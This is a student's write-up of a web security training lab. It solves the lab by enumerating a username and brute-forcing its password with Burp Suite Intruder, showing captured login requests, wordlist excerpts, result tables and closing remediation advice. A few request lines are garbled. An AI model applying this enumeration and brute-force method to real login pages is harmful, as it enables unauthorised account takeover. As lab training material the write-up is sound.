

Username enumeration via different responses

NAME: SIRAJUDIN SEID
CTC-153-26

Lab: Username enumeration via different responses

APPRENTICE



LAB



Solved



This lab is vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:

- Candidate usernames
- Candidate passwords

To solve the lab, enumerate a valid username, brute-force this user's password, then access their account page.

steps to solve the lab

1, download the usernames and passwords and save to local disk

2, try to login with invalid credential and capture the request in burp suite

The image shows two side-by-side windows. The left window is Burp Suite Professional v2026.3.3, displaying the HTTP history tab. A list of intercepted requests is shown, with the 14th request (POST /login) selected. The right window is the WebSecurity Academy lab interface, titled 'Username enumeration via different responses'. It shows a login form with fields for 'Username' and 'Password', and a 'Log in' button. The lab status is 'Not solved'.

3, send that login request to intruder module then add \$ **username** \$

The image shows the Burp Suite Intruder module configuration. The 'Sniper attack' tab is selected. The 'Target' field contains the URL 'https://0a31000604f7cd61804fbc4a005700e6.web-security-academy.net'. The 'Positions' section shows the selected request (POST /login) with its raw data. A red arrow points to the 'Add \$' button, and another red arrow points to the 'username' field in the raw data, indicating where to insert the payload.

then copy and paste the username on payload tab

1 POST /login HTTP/1.1
 2 Host: 0a31000604f7cd61804fbc4a005700e6.web-security-academy.net
 3 Cookie: session=0C1Ct5W5MjLIazguLNU6x3LVE9hzx7
 4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 6 Accept-Language: en-US,en;q=0.5
 7 Accept-Encoding: gzip, deflate, br
 8 Content-Type: application/x-www-form-urlencoded
 9 Content-Length: 33
 10 Origin: https://0a31000604f7cd61804fbc4a005700e6.web-security-academy.net
 11 Referer: https://0a31000604f7cd61804fbc4a005700e6.web-security-academy.net/login
 12 Upgrade-Insecure-Requests: 1
 13 Sec-Fetch-Dest: document
 14 Sec-Fetch-Mode: navigate
 15 Sec-Fetch-Site: same-origin
 16 Sec-Fetch-User: ?1
 17 Priority: u=0, i
 18 Te: trailers
 19 Connection: keep-alive
 20
 21 username=roberts;password=password

Payloads

Payload position: All payload positions
 Payload type: Simple list
 Payload count: 101
 Request count: 101

Payload configuration

This payload type lets you configure a simple list of strings that are used as payloads.

Paste	carlos
Load...	root
Remove	admin
Clear	test
Deduplicate	guest
Add	info

Add from list...

4 , launch the sniped attack an observe the length of each response and pick the highest value in my case i pick the highest length on the username as

5, send that response to intruder and add \$ password \$ to this tag and copy paste the passwords on the payload tab

1 POST /login HTTP/2
 2 Host: 0a31000604f7cd61804fbc4a005700e6.web-security-academy.net
 3 Cookie: session=0C1Ct5W5MjLIazguLNU6x3LVE9hzx7
 4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 6 Accept-Language: en-US,en;q=0.5
 7 Accept-Encoding: gzip, deflate, br
 8 Content-Type: application/x-www-form-urlencoded
 9 Content-Length: 29
 10 Origin: https://0a31000604f7cd61804fbc4a005700e6.web-security-academy.net
 11 Referer: https://0a31000604f7cd61804fbc4a005700e6.web-security-academy.net/login
 12 Upgrade-Insecure-Requests: 1
 13 Sec-Fetch-Dest: document
 14 Sec-Fetch-Mode: navigate
 15 Sec-Fetch-Site: same-origin
 16 Sec-Fetch-User: ?1
 17 Priority: u=0, i
 18 Te: trailers
 19 Connection: keep-alive
 20
 21 usernameaspassword=password

Payloads

Payload position: No payload positions configured
 Payload type: Simple list
 Payload count: 100
 Request count: 0

Payload configuration

This payload type lets you configure a simple list of strings that are used as payloads.

Paste	123456
Load...	password
Remove	12345678
Clear	qwerty
Deduplicate	123456789
Add	12345

Add from list...

and capture the shortest length on the intruder tab after you launch the sniper attack

Request	Payload	Status code	Response received	Error	Timeout	Length
49	charlie	302	219			184
0		200	200			3354
1	123456	200	397			3354
2	password	200	398			3354
3	12345678	200	410			3354
4	qwerty	200	398			3354
5	123456789	200	401			3354
6	12345	200	402			3354
7	1234	200	428			3354
8	111111	200	252			2354

Request

```

5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 28
10 Origin: https://0a31000604f7cd61804fbc4a005700e6.web-security-academy.net
11 Referer: https://0a31000604f7cd61804fbc4a005700e6.web-security-academy.net/login
12 Upgrade-Insecure-Requests: 1
13 Sec-Fetch-Dest: document
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-User: ?1
17 Priority: u
18 Te: trailer
19 Connection: keep-alive
20
21 username=as&password=charlie

```

Response

```

1 HTTP/2 302 Found
2 Location: /my-account?id=as
3 Set-Cookie: session=Lea57kOXs8Bh8Jt0FB84iR0Darc0IXi; Secure; HttpOnly; SameSite=None
4 X-Frame-Options: SAMEORIGIN
5 Content-Length: 0
6
7

```

solved the lab

Username enumeration via different responses
LAB Sol

[Back to lab description >>](#)

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) [Continue](#)

[Home](#) | [My account](#)

My Account

Your username is: as

Your email is: as@normal-user.net

Update email

- The vulnerability discovered. the broken authentication

- The exposed information and its security impact.
 - the user account can be compromised and
 - the attacker may use it for the lateral movement
- At least two recommended remediation measures.
 - use a rate limitation
 - implement generic error message